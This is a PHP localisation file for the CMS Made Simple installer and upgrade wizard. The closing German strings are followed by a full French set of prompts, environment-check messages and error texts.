$lang['step2_install_dirnotempty2'] = 'Dieser Ordner enthält bereits einige Dateien und/oder Unterordner. Obwohl es möglich ist, CMS Made Simple hier zu installieren, kann es versehentlich eine vorhandene Anwendung beschädigen. Bitte überprüfen Sie den Inhalt dieses Ordners. Zu Referenzzwecken sind einige der Dateien unten aufgeführt. Bitte stellen Sie sicher, dass dies korrekt ist.';
$lang['step2_info_upgradeinfo'] = 'Nachfolgend finden Sie die verfügbaren Versionshinweise und Änderungsprotokollinformationen für jede Version. Die Schaltflächen unten zeigen detaillierte Informationen darüber, was sich in jeder Version von CMS Made Simple geändert hat. In jeder Version können weitere Anweisungen oder Warnungen enthalten sein, die den Aktualisierungsprozess beeinträchtigen könnten.';
$lang['step2_minupgradever'] = 'Die Mindestversion, von der diese Anwendung aktualisiert werden kann, ist: %s. Möglicherweise müssen Sie Ihre Anwendung schrittweise auf eine neuere Version aktualisieren, indem Sie eine andere Methode verwenden, bevor Sie den Aktualisierungsvorgang abschließen. Bitte stellen Sie sicher, dass Sie über eine vollständige, verifizierte Sicherungskopie verfügen, bevor Sie eine Aktualisierungsmethode verwenden.';
$lang['step2_passed'] = 'bestanden';
$lang['step2_schemaver'] = 'Version des Datenbankschemas';
$lang['step2_version'] = 'Ihre Version';
$lang['step3_failed'] = 'Dieses Paket hat zahlreiche Prüfungen Ihrer PHP-Umgebung durchgeführt, und einer oder mehrere dieser Prüfungen sind fehlgeschlagen. Sie müssen diese Fehler in Ihrer Konfiguration beheben, bevor Sie fortfahren. Nachdem Sie die Fehler behoben haben, klicken Sie unten auf „Wiederholen“.';
$lang['symbol'] = 'Symbol';
$lang['th_status'] = 'Status';
$lang['th_testname'] = 'Prüfung';
$lang['th_value'] = 'Wert';
$lang['title_error'] = 'Ein Problem ist aufgetreten';
$lang['title_welcome'] = 'Willkommen';
$lang['title_forum'] = 'Hilfe-Forum';
$lang['title_docs'] = 'Offizielle Dokumentation';
$lang['title_api_docs'] = 'Offizielle API-Dokumentation';
$lang['title_share'] = 'Erfahrungen mit Freunden teilen';
$lang['upgrade'] = 'Aktualisieren';
$lang['username'] = 'Benutzername';
$lang['warn_tests'] = '<strong>Hinweis:</strong> Das Bestehen all dieser Prüfungen sollte sicherstellen, dass CMSMS für die meisten Websites ordnungsgemäß funktioniert. Wenn die Website jedoch wächst und weitere Funktionen hinzugefügt werden, können diese Mindestwerte unzureichend werden. Darüber hinaus können Module von Drittanbietern weitere Anforderungen haben, um ordnungsgemäß zu funktionieren';
$lang['warn_upload_max_filesize'] = 'Obwohl Ihre Einstellung von %s ausreichend ist, empfehlen wir Ihnen, die Einstellung upload_max_filesize in PHP auf mindestens %s zu erhöhen';
$lang['welcome_message'] = 'Herzlich willkommen! Dies ist der automatische Installationsmechanismus von CMS Made Simple. Mit diesem Paket können Sie schnell und einfach bestätigen, dass Ihr Webhost mit CMSMS kompatibel ist, und die neueste Version von CMS Made Simple installieren oder aktualisieren.<br />Wir wissen, dass es Ihnen gefallen wird.';
$lang['wizard_step1'] = 'Willkommen';
$lang['wizard_step2'] = 'Erfassung bereits existierender Software';
$lang['wizard_step3'] = 'Kompatibilitätsprüfung';
$lang['wizard_step6'] = 'Webseiteneinstellungen';
$lang['wizard_step7'] = 'Dateien';
$lang['wizard_step9'] = 'Abschließen';
$lang['xml_functions'] = 'Prüfe XML-Funktionalität';
$lang['yes'] = 'Ja';
?><?php
$lang['action_freshen'] = 'Réparer/Rafraîchir une installation CMSMS %s';
$lang['action_install'] = 'Créer une nouvelle installation CMSMS %s';
$lang['action_upgrade'] = 'Mise à jour de CMSMS à la version %s';
$lang['advanced_mode'] = 'Activer le mode avancé&nbsp;';
$lang['apptitle'] = 'Assistant Installation/Mise à jour';
$lang['assets_dir_exists'] = 'Le dossier assets existe déjà';
$lang['available_languages'] = 'Langues disponibles&nbsp;';
$lang['build_date'] = 'Date de construction&nbsp;';
$lang['changelog_uc'] = 'Changelog';
$lang['cleaning_files'] = 'Nettoyage des fichiers qui ne sont plus applicables à cette version';
$lang['config_writable'] = 'Vérification des permissions d\'écriture du fichier config';
$lang['confirm_freshen'] = 'Êtes-vous sûr(e) de vouloir rafraîchir l’installation existante de CMSMS ? A utiliser avec une extrême prudence !';
$lang['confirm_upgrade'] = 'Êtes-vous sûr(e) de vouloir entamer le processus de mise à jour ?';
$lang['curl_extension'] = 'Vérification de l\'extension cURL';
$lang['create_assets_structure'] = 'Création d\'un emplacement pour les ressources de fichiers';
$lang['database_support'] = 'Vérification de la compatibilité des pilotes de base de données';
$lang['desc_wizard_step1'] = 'Démarrage de l\'installation ou de la mise à jour';
$lang['desc_wizard_step2'] = 'Analyse du dossier d\'installation pour trouver une installation existante';
$lang['desc_wizard_step3'] = 'Vérification que tout est OK pour installer le noyau CMSMS™';
$lang['desc_wizard_step4'] = 'Pour les nouvelles installations ou pour rafraîchir l\'installation, entrez les informations de base de la configuration';
$lang['desc_wizard_step5'] = 'Pour les nouvelles installations, entrez les informations du compte Admin';
$lang['desc_wizard_step6'] = 'Pour les nouvelles installations, entrez quelques détails basiques à propos du site';
$lang['desc_wizard_step7'] = 'Extraction des fichiers';
$lang['desc_wizard_step8'] = 'Création ou mise à jour du schéma de base de données, définition des événements initiaux, autorisations, comptes d\'utilisateurs, gabarits, feuilles de style et contenus';
$lang['desc_wizard_step9'] = 'Installation et/ou mise à jour des modules selon les besoins, écriture du fichier de configuration et nettoyage';
$lang['destination_directory'] = 'Dossier d\'installation&nbsp;';
$lang['dest_writable'] = 'Autorisation en écriture dans le dossier d\'installation';
$lang['disable_functions'] = 'Vérification des fonctions désactivées';
$lang['done'] = 'Terminé';
$lang['email_accountinfo_message'] = 'Le processus d\'installation CMS Made Simple est terminé.

Cet email contient des informations sensibles et doit être stocké dans un emplacement sécurisé.

Voici les détails de votre installation :
Nom d\'utilisateur : %s
mot de passe : %s
Dossier d\'installation : %s
root URL : %s';
$lang['email_accountinfo_message_exp'] = 'Le processus d\'installation CMS Made Simple est terminé.

Cet email contient des informations sensibles et doit être stocké dans un emplacement sécurisé.

Voici les détails de votre installation :
Nom d\'utilisateur : %s
mot de passe : %s
Dossier d\'installation : %s';
$lang['email_accountinfo_subject'] = 'Installation CMS Made Simple™ réussie';
$lang['emailaccountinfo'] = 'Envoi par mail des informations du compte';
$lang['emailaddr'] = 'Adresse email';
$lang['error_adminacct_emailaddr'] = 'L\'adresse e-mail spécifiée n\'est pas valide';
$lang['error_adminacct_emailaddrrequired'] = 'Vous avez choisi d\'envoyer les informations du compte par email, mais n\'avez pas entré une adresse email valide';
$lang['error_adminacct_password'] = 'Le mot de passe spécifié n\'est pas valide (doit comporter au moins six caractères)';
$lang['error_adminacct_repeatpw'] = 'Les mots de passe que vous avez entrés ne correspondent pas.';
$lang['error_adminacct_username'] = 'Le nom d\'utilisateur que vous avez spécifié n\'est pas valide. Essayez de nouveau';
$lang['error_admindirrenamed'] = 'Il semble que pour des raisons de sécurité <a href="http://docs.cmsmadesimple.org/general-information/securing-cmsms#renaming-admin-folder" target="_blank" class="external">vous avez renommé</a> votre dossier admin de CMSMS™. Vous devrez obligatoirement le renommer en admin et modifier la variable $config[\'admin_dir\'] du config.php avant de reprendre le processus de la mise à jour. Rechargez la page pour continuer.';
$lang['error_backupconfig'] = 'Nous ne pourrions pas correctement sauvegarder le fichier de config';
$lang['error_checksum'] = 'Le checksum du fichier extrait ne correspond pas à l\'original';
$lang['error_cmstablesexist'] = 'Il semble qu\'il existe déjà une installation de CMSMS™ sur cette base de données. Merci d\'entrer une information différente pour la base de données. Si vous souhaitez, vous pouvez utiliser un préfixe de table différent. Mais vous devriez peut-être redémarrer le processus d\'installation et activer le mode avancé.';
$lang['error_createtable'] = 'Problème de création des tables de la base de données... c\'est peut-être un problème de permissions';
$lang['error_dbconnect'] = 'Impossible de se connecter à la base de données. Veuillez vérifier les informations d\'identification que vous avez fournies';
$lang['error_dirnotvalid'] = 'Le dossier %s n\'existe pas (ou n\'est pas accessible en écriture)';
$lang['error_droptable'] = 'Problème de suppression de table de la base de données... c\'est peut-être un problème de permissions';
$lang['error_filenotwritable'] = 'Le fichier %s n\'a pas pu être écrasé (problème permissions)';
$lang['error_internal'] = 'Désolé, quelque chose a mal fonctionné... (Erreur interne) (%s)';
$lang['error_invalid_directory'] = 'Il semble que le dossier que vous avez choisi pour installer est déjà dans un dossier utilisé par le programme d\'installation lui-même';
$lang['error_invalidconfig'] = 'Erreur dans le fichier de configuration ou fichier de configuration manquant (config.php)';
$lang['error_invaliddbpassword'] = 'Le mot de passe de la base de données contient des caractères non valides qui ne peuvent pas être sauvegardés en toute sécurité.';
$lang['error_invalidkey'] = 'Variable invalide ou clef %s pour classe %s';
$lang['error_invalidparam'] = 'Paramètre invalide ou valeur de paramètre : %s';
$lang['error_invalidtimezone'] = 'Le fuseau horaire spécifié n\'est pas valide';
$lang['error_invalidqueryvar'] = 'La saisie contient des caractères non valides. Veuillez utiliser uniquement des caractères alphanumériques et l\'underscore.';
$lang['error_missingconfigvar'] = 'La clef "%s" est manquante ou invalide dans le fichier config.ini';
$lang['error_noarchive'] = 'Problème pour trouver le fichier archive... Merci de redémarrer';
$lang['error_nlsnotfound'] = 'Problème pour trouver les fichiers NLS dans l\'archive';
$lang['error_nodatabases'] = 'Aucune extension compatible base de données n\'a été trouvée';
$lang['error_nodbhost'] = 'Veuillez entrer un nom d\'hôte valide (ou adresse IP) pour la connexion de base de données';
$lang['error_nodbname'] = 'Veuillez entrer le nom d\'une base de données valide sur l\'hôte spécifié ci-dessus';
$lang['error_nodbpass'] = 'Veuillez entrer un mot de passe valide pour l\'authentification avec la base de données';
$lang['error_nodbprefix'] = 'Veuillez entrer un préfixe valide pour les tables de la base de données';
$lang['error_nodbtype'] = 'Veuillez sélectionner un type de base de données';
$lang['error_nodbuser'] = 'Veuillez entrer un nom d\'utilisateur valide pour l\'authentification avec la base de données';
$lang['error_nodestdir'] = 'Dossier d\'installation non activé';
$lang['error_nositename'] = 'SiteName (Nom du site) est un paramètre obligatoire. Merci d’entrer un nom approprié pour votre site Web.';
$lang['error_notimezone'] = 'Veuillez entrer un fuseau horaire valide pour ce serveur';
$lang['error_overwrite'] = 'Problème de permissions : écriture impossible de %s';
$lang['error_sendingmail'] = 'Erreur dans l\'envoi du mail';
$lang['error_tzlist'] = 'Un problème est survenu pour la récupération de la liste des identificateurs de fuseau horaire';
$lang['errorlevel_estrict'] = 'Test pour E_STRICT';
$lang['errorlevel_edeprecated'] = 'Test pour E_DEPRECATED';
$lang['edeprecated_enabled'] = 'E_DEPRECATED est activé dans "error_reporting" de PHP. Bien que cela n\'empêchera pas CMSMS™ de fonctionner, il peut se produire des affichages d\'avertissements sur l\'écran, en particulier des anciens modules tiers.';
$lang['estrict_enabled'] = 'E_STRICT est activé dans "error_reporting" de PHP. Bien que cela n\'empêchera pas CMSMS™ de fonctionner, il peut se produire des affichages d\'avertissements sur l\'écran, en particulier des anciens modules tiers.';
$lang['fail_assets_dir'] = 'Un dossier assets existe déjà. Cette application peut écrire dans ce dossier pour rationaliser l\'emplacement des fichiers gabarits (templates), CSS, module_custom, admin_custom, ... . Veuillez vous assurer d\'avoir une sauvegarde.';
$lang['fail_assets_msg'] = 'Un dossier assets existe déjà. Cette application peut écrire dans ce dossier pour rationaliser l\'emplacement des fichiers gabarits (templates), CSS, module_custom, admin_custom, ... . Veuillez vous assurer d\'avoir une sauvegarde.';
$lang['fail_config_writable'] = 'Le processus HTTP ne peut pas écrire dans le fichier config.php. Essayer de modifier les autorisations sur ce fichier à 777, jusqu\'à ce que le processus de mise à jour soit terminé.';
$lang['fail_curl_extension'] = 'L\'extension cURL n\'a pas été trouvée. Ce n\'est pas un problème critique mais cela peut causer des soucis avec certains modules tiers';
$lang['fail_database_support'] = 'Aucun pilote compatible avec la base de données';
$lang['fail_file_get_contents'] = 'La fonction file_get_contents n\'existe pas ou est désactivée. CMSMS™ ne peut pas continuer (le programme d\'installation échouera probablement)';
$lang['fail_file_uploads'] = 'Les fonctionnalités d\'uploads de fichiers sont désactivés, dans cet environnement. Plusieurs fonctions de CMSMS™ ne fonctionneront pas dans cet environnement.';
$lang['fail_func_json'] = 'La fonctionnalité "JSON" n\'a pas été trouvée.';
$lang['fail_func_gzopen'] = 'La fonction "gzopen" n\'a pas été trouvée.';
$lang['fail_func_md5'] = 'La fonctionnalité MD5 n\'a pas été trouvée.';
$lang['fail_func_tempnam'] = 'La fonctionnalité "tempnam" n\'existe pas. C\'est une fonction requise pour le fonctionnement de CMSMS™';
$lang['fail_func_ziparchive'] = 'La fonctionnalité ZipArchive n\'a pas été trouvée. Cela peut limiter les fonctions d\'installation.';
$lang['fail_ini_set'] = 'Il semble que nous ne pouvons pas changer les paramètres ini. Ceci pourrait causer des problèmes dans les modules tiers (ou lorsque vous activez le mode debug). C\'est une fonction requise pour la fonctionnalité de CMSMS™';
$lang['fail_intl_support'] = 'L\'extension d\'internationalisation de PHP (Intl) n’est pas disponible';
$lang['fail_magic_quotes_runtime'] = 'Il semble que les "magic quotes" sont activées dans votre configuration. Merci de les désactiver puis réessayer';
$lang['fail_max_execution_time'] = 'Votre "max execution time" de %s ne répond pas à la valeur minimale de %s. Nous vous recommandons de l\'augmenter à %s ou supérieur';
$lang['fail_memory_limit'] = 'Valeur de "memory_limit" est trop faible. Vous avez %s, mais il faut un minimum de %s et %s est recommandé';
$lang['fail_multibyte_support'] = 'Votre support Multibyte (jeux de caractères multi-octets) n\'est pas activé dans votre configuration';
$lang['fail_output_buffering'] = 'Mise en mémoire tampon de sortie (Output Buffering) n\'est pas activée.';
$lang['fail_open_basedir'] = 'L\'option "open_basedir" est activée. CMSMS™ exige qu\'elle soit désactivée';
$lang['fail_php_version'] = 'La version de PHP pour CMSMS™ est cruciale. La version minimum accepté est %s, même si nous recommandons %s ou supérieure. Vous avez %s';
$lang['fail_post_max_size'] = 'La taille %s de "post_max_size" ne répond pas cependant la valeur minimale de %s. Vous devriez porter à %s et faire en sorte qu\'il soit plus grand que "upload_max_filesize"';
$lang['fail_pwd_writable2'] = 'Le processus HTTP doit être en mesure d\'écrire dans le dossier d\'installation (ainsi que dans tous les fichiers et sous-dossiers), afin d\'installer les fichiers. Il n\'y a pas d\'autorisation en écriture pour (au moins) %s';
$lang['fail_register_globals'] = 'Veuillez désactiver "register_globals" dans votre configuration de PHP';
$lang['fail_remote_url'] = 'Nous avons rencontré des problèmes pour vous connecter à une URL distante. Vous limitez ainsi certaines des fonctionnalités de CMS Made Simple™';
$lang['fail_safe_mode'] = 'CMSMS™ ne fonctionnera pas correctement dans un environnement où le "safe_mode" est activé. "safe_mode" est déconseillé comme un mécanisme défaillant et sera supprimée dans les futures versions de PHP. (Disponible depuis PHP 4.1.0. Supprimé en PHP 5.4.0)';
$lang['fail_session_save_path_exists'] = 'La variable session.save_path est non valide ou le répertoire n\'existe pas';
$lang['fail_session_save_path_writable'] = 'Le chemin du répertoire session n\'est pas accessible en écriture';
$lang['fail_session_use_cookies'] = 'CMSMS requiert que PHP soit configuré pour stocker les clefs de session dans un cookie';
$lang['fail_tmpfile'] = 'La fonction tmpfile() du système est non fonctionnelle. Cela est nécessaire pour extraire des archives. L\'option TMPDIR (chemin du dossier temporaire) peut être fourni à l\'installateur pour spécifier un dossier accessible en écriture. Voir le fichier README qui devrait être inclus dans ce répertoire.';
$lang['fail_tmp_dirs_empty'] = 'Les dossiers temporaires CMSMS <em>(tmp / cache et tmp / templates_c)</em> existent et ne sont pas vides. Veuillez les supprimer ou les vider.';
$lang['fail_xml_functions'] = 'L\'extension XML n\'a pas été trouvée. Activer cette extension dans votre environnement PHP';
$lang['failed'] = 'A échoué';
$lang['file_get_contents'] = 'Test pour la fonction "file_get_contents"';
$lang['file_installed'] = 'Installé %s';
$lang['file_uploads'] = 'Vérification pour le support upload de fichier';
$lang['finished_custom_freshen_msg'] = 'Votre installation a été rafraîchie ! Les fichiers de base ont été mis à jour, et un nouveau fichier de configuration a été créé. Veuillez consulter votre site Web afin de vous assurer que tout fonctionne correctement.';
$lang['finished_custom_install_msg'] = 'Super ! Nous avons terminé. Veuillez consulter votre site Web et vous connecter au panneau d’administration.';
$lang['finished_custom_upgrade_msg'] = 'Super! Tout est terminé. Veuillez consulter votre panneau d’administration de CMSMS™ et votre site Web pour vous assurer que tout est correct. <br><strong>Astuce :</strong> Maintenant c’est le bon moment pour faire une sauvegarde.';
$lang['finished_freshen_msg'] = 'Votre installation a été rafraîchie ! Les fichiers de base ont été mis à jour et un nouveau fichier de configuration a été créé. Vous pouvez maintenant <a href="%s">visiter votre site Web</a> ou vous connecter au <a href="%s">panneau d’administration</a>.';
$lang['finished_install_msg'] = 'Super ! Nous avons terminé. Vous pouvez maintenant <a href="%s">visiter votre site Web</a> ou vous connecter au <a href="%s">panneau d’administration</a>.';
$lang['finished_upgrade_msg'] = 'Super ! Tout est terminé. Visitez votre <a href="%s">site Web</a> et le <a href="%s"> panneau d’administration</a> pour vérifier si tout se comporte correctement. Vous pourriez avoir également à mettre à jour certains modules tiers. <br><strong>Astuce :</strong> n’oubliez pas de faire une sauvegarde après avoir vérifié si les comportements de l’administration et du site sont corrects.';
$lang['freshen'] = 'Rafraîchir l\'installation';
$lang['func_json'] = 'Vérification pour JSON, codage et décodage des fonctionnalités';
$lang['func_md5'] = 'Vérification de la fonctionnalité MD5';
$lang['func_tempnam'] = 'Vérification de la fonction "tempnam"';
$lang['func_gzopen'] = 'Vérification de la fonction "gzopen"';
$lang['func_ziparchive'] = 'Vérification de la fonction "ZipArchive"';
$lang['gd_version'] = 'Vérification de la version GD';
$lang['goback'] = 'Retour';
$lang['info_addlanguages'] = 'Sélectionnez des langues (outre l\'anglais) pour l\'installation. <strong>Remarque :</strong> toutes les traductions ne sont pas faites. (Utiliser la touche "CTRL" pour la multi sélection)';
$lang['info_adminaccount'] = 'Merci de fournir les informations d\'identification pour le compte d\'administrateur initial. Ce compte aura accès à toutes les fonctionnalités de la console d\'administration CMSMS™';
$lang['info_advanced'] = 'Le mode avancé permet plus d\'options dans la procédure d\'installation.';
$lang['info_dbinfo'] = 'CMS Made Simple™ stocke une grande quantité de données en base de données. Une connexion de base de données est obligatoire. En outre, les informations d\'identification utilisateur que vous fournirez doivent, avoir tous les privilèges sur la base de données spécifiée pour permettre la création, suppression et modification des tables, index et vues.';
$lang['info_errorlevel_edeprecated'] = 'E_DEPRECATED est une constante PHP de rapports d\'erreur ou d\'alertes d\'exécution. Bien que sur le noyau de CMSMS™ nous n\'utilisons plus de techniques obsolètes, certains modules peuvent ne pas être conformes. Nous recommandons de désactiver ce paramètre dans la configuration de PHP.';
$lang['info_errorlevel_estrict'] = 'E_STRICT est une constante PHP qui permet d\'obtenir des suggestions pour modifier votre code, assurant ainsi une meilleure interopérabilité et compatibilité de celui-ci. Bien que le noyau CMSMS™ tente de se conformer aux règles de niveau E_STRICT certains modules peuvent ne pas être conformes. Nous recommandons de désactiver ce paramètre dans la configuration de PHP.';
$lang['info_installcontent'] = 'Par défaut, ce programme d\'installation créera une série d\'exemples de pages, de feuilles de style et de gabarits dans CMSMS™. Les exemples de contenu fournissent de nombreuses informations et conseils afin de vous aider pour créer des sites Web avec CMSMS™. Il est utile de lire ces pages exemples. Toutefois, si vous êtes déjà familier avec CMS Made simple™ la désactivation de cette option créera seulement un ensemble minimal de gabarits, de feuilles de style et de pages de contenu.';
$lang['info_open_basedir_session_save_path'] = 'open_basedir est activé dans votre configuration PHP. Nous n\'avons pas pu tester pas correctement les capacités de session. Cependant, à ce point du processus d\'installation, tout semble indiquer, que les sessions fonctionnent correctement.';
$lang['info_pwd_writable'] = 'Cette application requiert l\'autorisation en écriture pour le dossier de travail courant';
$lang['info_queryvar'] = 'La variable de requête URL est utilisée en interne par CMSMS™ pour identifier la page demandée (par défaut "page"). Dans la plupart des cas, vous ne devriez pas avoir à en avoir besoin.';
$lang['info_sitename'] = 'Le nom du site est utilisé dans les gabarits par défaut comme titre. Veuillez entrer un nom lisible pour le site Web.';
$lang['info_timezone'] = 'Les informations de fuseau horaire sont nécessaire pour l\'affichage des calculs des heures/dates. Veuillez sélectionner le fuseau horaire du serveur.';
$lang['ini_set'] = 'Test si possibilité de changer les paramètres du fichier ini';
$lang['install'] = 'Installer';
$lang['install_attachstylesheets'] = 'Attacher les feuilles de style aux thèmes';
$lang['install_backupconfig'] = 'Sauvegarde du fichier de config';
$lang['install_createassets'] = 'Création des dossiers assets';
$lang['install_created_index'] = 'Index créé %s... : %s';
$lang['install_create_tables'] = 'Création des tables de base de données';
$lang['install_createconfig'] = 'Création du nouveau fichier de configuration';
$lang['install_createcontentpages'] = 'Création des pages de contenu par défaut';
$lang['install_created_table'] = 'Table créée %s... : %s';
$lang['install_createtablesindexes'] = 'Création des tables et index';
$lang['install_createtmpdirs'] = 'Création des dossiers temporaires';
$lang['install_creating_index'] = 'Index créé %s';
$lang['install_default_collections'] = 'Installation des collections par défaut';
$lang['install_defaultcontent'] = 'Installation du contenu par défaut';
$lang['install_detectlanguages'] = 'Détection des langues installées';
$lang['install_dropping_tables'] = 'Suppression de tables';
$lang['install_dummyindexhtml'] = 'Création des fichiers vides index.html';
$lang['install_extractfiles'] = 'Extraction des fichiers de l\'archive';
$lang['install_initevents'] = 'Création des évènements';
$lang['install_initsitegroups'] = 'Création des groupes initiaux';
$lang['install_initsiteperms'] = 'Définition des permissions initiales';
$lang['install_initsiteprefs'] = 'Définition des préférences initiales du site';
$lang['install_initsiteusers'] = 'Création du compte utilisateur initial';
$lang['install_initsiteusertags'] = 'Création des balises utilisateur (UDT) initiales';
$lang['install_module'] = 'Installation du module %s';
$lang['install_modules'] = 'Installation des modules disponibles';
$lang['install_passwordsalt'] = 'Définition de la valeur aléatoire du mot de passe (salt)';
$lang['install_requireddata'] = 'Définition des données initiales requises';
$lang['install_schema'] = 'Création du schéma de base de données';
$lang['install_setschemaver'] = 'Définition de la version du schéma';
$lang['install_setsequence'] = 'Réinitialisation des séquences tables';
$lang['install_setsitename'] = 'Définition du nom du site';
$lang['install_stylesheets'] = 'Création des feuilles de style par défaut';
$lang['install_templates'] = 'Création des gabarits par défaut';
$lang['install_templatetypes'] = 'Création des types de gabarit standard';
$lang['install_update_sequences'] = 'Mise à jour des séquences des tables';
$lang['install_updatehierarchy'] = 'Mise à jour des positions hiérarchiques des pages';
$lang['install_updateseq'] = 'Séquence de mise à jour pour %s';
$lang['installer_ver'] = 'Version de l\'installateur&nbsp;';
$lang['intl_support'] = 'Vérifier les fonctions d\'internationalisation';
$lang['legend'] = 'Légende';
$lang['magic_quotes_runtime'] = 'Vérification si les "magic_quotes" sont désactivées';
$lang['max_execution_time'] = 'Vérification de PHP "max_execution_time"';
$lang['meaning'] = 'Définition';
$lang['memory_limit'] = 'Vérification de la limite de mémoire PHP (memory_limit)';
$lang['msg_clearedcache'] = 'Cache serveur vidé';
$lang['msg_configsaved'] = 'Fichier de configuration existant enregistré sous %s';
$lang['msg_upgrade_module'] = 'Mise à jour du module %s';
$lang['msg_upgrademodules'] = 'Mise à jour des modules';
$lang['msg_yourvalue'] = 'Vous avez : %s';
$lang['multibyte_support'] = 'Vérification du support Multibyte (jeux de caractères multi-octets)';
$lang['next'] = 'Suivant';
$lang['no'] = 'Non';
$lang['none'] = 'Aucun';
$lang['open_basedir'] = 'Vérification de la restriction "open_basedir"';
$lang['open_basedir_session_save_path'] = 'open_basedir est activé. Impossible de tester le chemin du répertoire session.';
$lang['output_buffering'] = 'Vérification des buffers de sortie (output buffering)';
$lang['pass_config_writable'] = 'Le processus HTTP a l\'autorisation en écriture dans le fichier config.php';
$lang['pass_database_support'] = 'Au moins un pilote de base de données compatible trouvé';
$lang['pass_func_json'] = 'Fonctionnalité JSON détectée';
$lang['pass_func_md5'] = 'Fonctionnalité MD5 détectée';
$lang['pass_func_tempnam'] = 'La fonction "tempnam" existe';
$lang['pass_intl_support'] = 'Les fonctions d\'internationalisation semblent être activées';
$lang['pass_memory_limit_nolimit'] = 'Il n\'y a pas de limite à PHP memory_limit';
$lang['pass_multibyte_support'] = 'le support Multibyte semble être activé';
$lang['pass_php_version'] = 'La version PHP configurée actuellement ne répond pas aux exigences minimales. Le minimum nécessaire est PHP %s, mais nous recommandons PHP %s ou supérieur';
$lang['pass_pwd_writable'] = 'Le processus HTTP peut écrire dans le dossier d\'installation. Ceci est nécessaire pour l\'extraction des fichiers.';
$lang['password'] = 'Mot de passe (au moins six caractères)';
$lang['ph_sitename'] = 'Entrez un nom de site Web';
$lang['php_version'] = 'Version PHP';
$lang['post_max_size'] = 'Vérification de la taille maximale de données pouvant être enregistrées dans une seule requête POST';
$lang['prompt_addlanguages'] = 'Langues supplémentaires';
$lang['prompt_createtables'] = 'Création des tables de la base de données';
$lang['prompt_dbhost'] = 'Nom d\'hôte de la base de données';
$lang['prompt_dbinfo'] = 'Information sur la base de données';
$lang['prompt_dbname'] = 'Nom de la base de données';
$lang['prompt_dbpass'] = 'Mot de passe';
$lang['prompt_dbport'] = 'Port de la base de données';
$lang['prompt_dbprefix'] = 'Préfixe de la base de données';
$lang['prompt_dbtype'] = 'Type de la base de données';
$lang['prompt_dbuser'] = 'Nom d\'utilisateur';
$lang['prompt_dir'] = 'Dossier d\'installation&nbsp;';
$lang['prompt_installcontent'] = 'Installer les exemples de contenus et les gabarits';
$lang['prompt_queryvar'] = 'Variable d\'URL';
$lang['prompt_sitename'] = 'Nom de site Web';
$lang['prompt_timezone'] = 'Fuseau horaire du serveur';
$lang['pwd_writable'] = 'Dossier accessible en écriture';
$lang['queue_for_upgrade'] = 'File d\'attente des modules %s (autres que ceux du noyau) pour mise à jour à l\'étape suivante.';
$lang['readme_uc'] = 'Lisez-moi';
$lang['register_globals'] = 'Vérification si PHP "register globals" est désactivé';
$lang['remote_url'] = 'Vérification sur les connexions HTTP sortantes';
$lang['repeatpw'] = 'Répétez le mot de passe';
$lang['reset_site_preferences'] = 'Réinitialisation de certaines préférences du site';
$lang['reset_user_settings'] = 'Réinitialisation des préférences utilisateur';
$lang['retry'] = 'Nouvel essai';
$lang['safe_mode'] = 'Vérification si PHP "safe_mode" est désactivé';
$lang['saltpasswords'] = 'Salage des mots de passe (sécurisation)';
$lang['select_language'] = 'Veuillez sélectionner votre langue préférée dans la liste ci-dessous. 
Cela affectera uniquement le processus d\'installation/mise à jour et n\'aura aucun effet sur les paramètres par défaut de CMSMS™.';
$lang['send_admin_email'] = 'Envoi des informations d\'identification par email pour la connexion d\'administration';
$lang['session_capabilities'] = 'Test des capacités de session (les sessions utilisent des cookies et le chemin du répertoire de sauvegarde des sessions doit être accessible en écriture, etc.)';
$lang['session_save_path_exists'] = 'La variable session.save_path est valide ou le répertoire existe';
$lang['session_save_path_writable'] = 'Le chemin du répertoire session est accessible en écriture';
$lang['session_use_cookies'] = 'Vérification si les sessions PHP utilisent les cookies';
$lang['sometests_failed'] = 'Nous avons effectué de nombreux tests de votre environnement Web actuel. Bien qu\'aucun problème critique n\'ait été trouvé, nous vous recommandons de corriger les éléments suivants avant de continuer.';
$lang['step1_advanced'] = 'Mode avancé';
$lang['step1_destdir'] = 'Sélectionnez le dossier';
$lang['step1_info_destdir'] = '<strong>Attention :</strong> Ce programme peut installer ou mettre à jour plusieurs installations de CMS Made Simple™. Il est important de sélectionner correctement le dossier correspondant à une nouvelle installation ou à une mise à jour.';
$lang['step1_language'] = 'Sélectionner une langue';
$lang['step1_title'] = 'Sélectionner une langue';
$lang['step2_cmsmsfound'] = 'Une installation de CMS Made Simple™ a été détectée. Il est possible de mettre à jour cette installation. Toutefois, avant de poursuivre, assurez-vous d\'avoir une sauvegarde à jour et <strong>vérifiée</strong> de tous les fichiers et de la base de données.';
$lang['step2_cmsmsfoundnoupgrade'] = 'Bien qu\'une installation de CMS Made Simple™ ait été détectée, il n\'est pas possible de mettre à jour cette version à l\'aide de cette application. La version est peut-être trop ancienne.';
$lang['step2_confirminstall'] = 'Êtes-vous sûr(e) de vouloir installer CMS Made Simple™';
$lang['step2_confirmupgrade'] = 'Êtes-vous sûr(e) de vouloir mettre à jour CMS Made Simple™';
$lang['step2_errorsamever'] = 'Le dossier sélectionné semble contenir une installation CMSMS™ de la même version que celle incluse dans ce script. Continuer va rafraîchir l\'installation existante.';
$lang['step2_errortoonew'] = 'Le dossier sélectionné semble contenir une installation CMSMS™ avec une version plus récente que celle incluse dans ce script. Impossible de poursuivre le processus.';
$lang['step2_info_freshen'] = 'Rafraîchir cette installation va remplacer tous les fichiers du noyau ainsi que les modules installés d\'office et réinitialisera la configuration. Il vous sera demandé les informations de configuration de base, cependant la base de données ne sera pas modifiée.';
$lang['step2_installdate'] = 'Date d\'installation approximative&nbsp;';
$lang['step2_install_dirnotempty2'] = 'Ce dossier contient déjà certains fichiers et/ou sous-dossiers. Bien qu\'il soit possible d\'installer CMSMS ici, cela peut par inadvertance corrompre une installation existante. Veuillez revérifier le contenu de ce dossier. A titre de référence, certains des fichiers sont répertoriés ci-dessous. Veuillez vous assurer que tout est correct.';
$lang['step2_hdr_upgradeinfo'] = 'Informations de version';
$lang['step2_info_upgradeinfo'] = 'Ci-dessous les notes de version et le changelog disponibles pour chaque version. Les boutons ci-dessous affichent des informations détaillées sur ce qui a changé dans chaque version de CMS Made Simple. Il peut y avoir d\'autres instructions ou avertissements dans chaque version qui pourraient affecter le processus de mise à jour.';
